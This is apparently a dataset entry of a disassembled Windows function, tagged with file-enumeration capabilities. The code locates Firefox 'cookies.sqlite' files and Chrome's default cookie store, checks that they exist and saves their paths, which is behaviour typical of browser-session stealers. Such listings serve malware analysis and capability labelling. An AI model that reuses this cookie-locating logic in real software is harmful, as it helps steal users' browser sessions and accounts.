Function at 0x5398d0
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x608f9f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6b4
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6d4]
mov dword [esp + 0x6cc], ebp
cmp eax, ebp
je 0x539d2e
cmp dword [0x6cf398], ebp
je 0x53992c
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x539fcd
lea eax, [esp + 0x64]
push eax
call fcn.00539820
add esp, 4
test eax, eax
jne 0x539958
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x539fdb
lea ecx, [esp + 0x64]
mov byte [esp + 0x13], 0
push ecx
call fcn.005c4b4a
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
cmp word [esp + eax*2 + 0x64], 0x5c
lea ebx, [esp + eax*2 + 0x64]
mov byte [esp + 0x6cc], 1
mov dword [esp + 0x3c], ebx
mov esi, 0x6ce7cc
je 0x53999c
mov esi, 0x6a0054
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x539acc
lea eax, [esp + 0x64]
test eax, eax
je 0x539acc
cmp esi, ebp
je 0x539acc
push edx
lea ecx, [esp + 0x34]
call fcn.00401ed0
lea ecx, [esp + 0x64]
mov bl, 2
push ecx
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], bl
call fcn.0040d680
push esi
lea ecx, [esp + 0x44]
mov byte [esp + 0x6d0], 3
call fcn.0040d680
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 4
call fcn.00401070
mov edi, dword [esp + 0x4c]
cmp edi, ebp
jne 0x539a0d
lea edi, [esp + 0x50]
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
call fcn.00401f50
push eax
call fcn.005c4b4a
push edi
mov ebp, eax
call fcn.005c4b4a
add esi, ebp
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005dd58d
mov edi, eax
add esp, 0xc
test edi, edi
mov dword [esp + 0x24], edi
je 0x539a90
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f50
push eax
lea ecx, [esp + 0x50]
call fcn.00401f50
push eax
lea ecx, [esp + 0x38]
call fcn.00401f50
push eax
mov eax, dword [esp + 0x30]
push esi
push eax
call fcn.005c4ada
mov ecx, dword [esp + 0x38]
push ecx
call fcn.005c4b4a
add esp, 0x18
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 3
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov ecx, dword [esp + 0x24]
mov ebx, dword [esp + 0x3c]
xor ebp, ebp
cmp ecx, ebp
jne 0x539ad4
lea ecx, [esp + 0x28]
lea edx, [esp + 0x26c]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x3c], edi
je 0x539cec
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [esp + 0x298]
push 0x6a0da8
push eax
call fcn.005c505f
add esp, 8
test eax, eax
je 0x539b2a
lea ecx, [esp + 0x298]
push 0x6a0da0
push ecx
call fcn.005c505f
add esp, 8
test eax, eax
jne 0x539b3f
lea edx, [esp + 0x26c]
push edx
push edi
call esi
test eax, eax
je 0x539cdd
jmp 0x539af8
cmp word [ebx], 0x5c
mov esi, 0x6ce7cc
je 0x539b4f
mov esi, 0x6a0054
mov eax, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test eax, eax
je 0x539cd8
lea ecx, [esp + 0x64]
test ecx, ecx
je 0x539cd8
cmp esi, ebp
je 0x539cd8
lea edx, [esp + 0x298]
test edx, edx
je 0x539cd8
lea eax, [esp + 0x64]
lea ecx, [esp + 0x58]
push eax
call fcn.0040d680
push esi
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], 5
call fcn.0040d680
lea ecx, [esp + 0x298]
mov byte [esp + 0x6cc], 6
push ecx
lea ecx, [esp + 0x44]
call fcn.0040d680
mov bl, 7
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], bl
call fcn.00401070
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x34]
call fcn.00401ed0
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 8
call fcn.00401f50
push eax
call fcn.005c4b4a
add esp, 4
lea ecx, [esp + 0x4c]
mov edi, eax
call fcn.00401f50
push eax
call fcn.005c4b4a
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x58]
add ebp, esi
call fcn.00401f50
push eax
call fcn.005c4b4a
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.005dd58d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x539c8f
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f50
push eax
lea ecx, [esp + 0x50]
call fcn.00401f50
push eax
lea ecx, [esp + 0x60]
call fcn.00401f50
push eax
lea ecx, [esp + 0x3c]
call fcn.00401f50
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.005c4ada
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.005c4b4a
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 6
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], 5
call fcn.00401070
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov edi, dword [esp + 0x3c]
xor ebp, ebp
mov byte [esp + 0x13], 1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x539d18
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x539fdb
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
jmp 0x539ec9
cmp dword [0x6cf39c], ebp
je 0x539d46
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x539fcd
lea edx, [esp + 0x4bc]
push edx
call fcn.0040d1b0
add esp, 4
test eax, eax
jne 0x539d75
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x539fdb
lea eax, [esp + 0x4bc]
push eax
call fcn.005c4b4a
add esp, 4
dec eax
mov esi, 0x6ce7cc
cmp word [esp + eax*2 + 0x4bc], 0x5c
je 0x539d9b
mov esi, 0x6a0054
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x539ec9
lea edx, [esp + 0x4bc]
test edx, edx
je 0x539ec9
cmp esi, ebp
je 0x539ec9
push ecx
lea ecx, [esp + 0x44]
call fcn.00401ed0
lea eax, [esp + 0x4bc]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x6d0], 9
call fcn.0040d680
mov bl, 0xa
push esi
lea ecx, [esp + 0x5c]
mov byte [esp + 0x6d0], bl
call fcn.0040d680
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], 0xb
call fcn.00401070
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x58]
call fcn.00401f50
push eax
call fcn.005c4b4a
add esp, 4
lea ecx, [esp + 0x30]
mov edi, eax
call fcn.00401f50
push eax
call fcn.005c4b4a
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005dd58d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x539e95
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x58]
call fcn.00401f50
push eax
lea ecx, [esp + 0x34]
call fcn.00401f50
push eax
lea ecx, [esp + 0x48]
call fcn.00401f50
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.005c4ada
mov ecx, dword [esp + 0x28]
push ecx
call fcn.005c4b4a
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 9
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6ca27c]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6cc], 0xc
cmp eax, ebp
jne 0x539ee7
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
or ebx, 0xffffffff
push ebp
push ebx
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x539f43
push esi
lea ecx, [esp + 0x24]
call fcn.005e1559
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x539f1a
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
push eax
push ebx
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
je 0x539f43
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x539f38
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, ebx
jne 0x539f68
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005e118c
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], ebx
call fcn.00401070
xor eax, eax
jmp 0x539fdb
cmp dword [esp + 0x6d4], ebp
je 0x539f94
mov eax, dword [esp + 0x20]
push eax
push 0x69ffbc
push 0x6cf370
call fcn.005d9fbb
add esp, 0xc
mov dword [0x6cf398], 1
jmp 0x539fb5
mov ecx, dword [esp + 0x20]
push ecx
push 0x69ffbc
push 0x6cf36c
call fcn.005d9fbb
add esp, 0xc
mov dword [0x6cf39c], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005e118c
mov dword [esp + 0x6cc], ebx
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6c4]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6c0
ret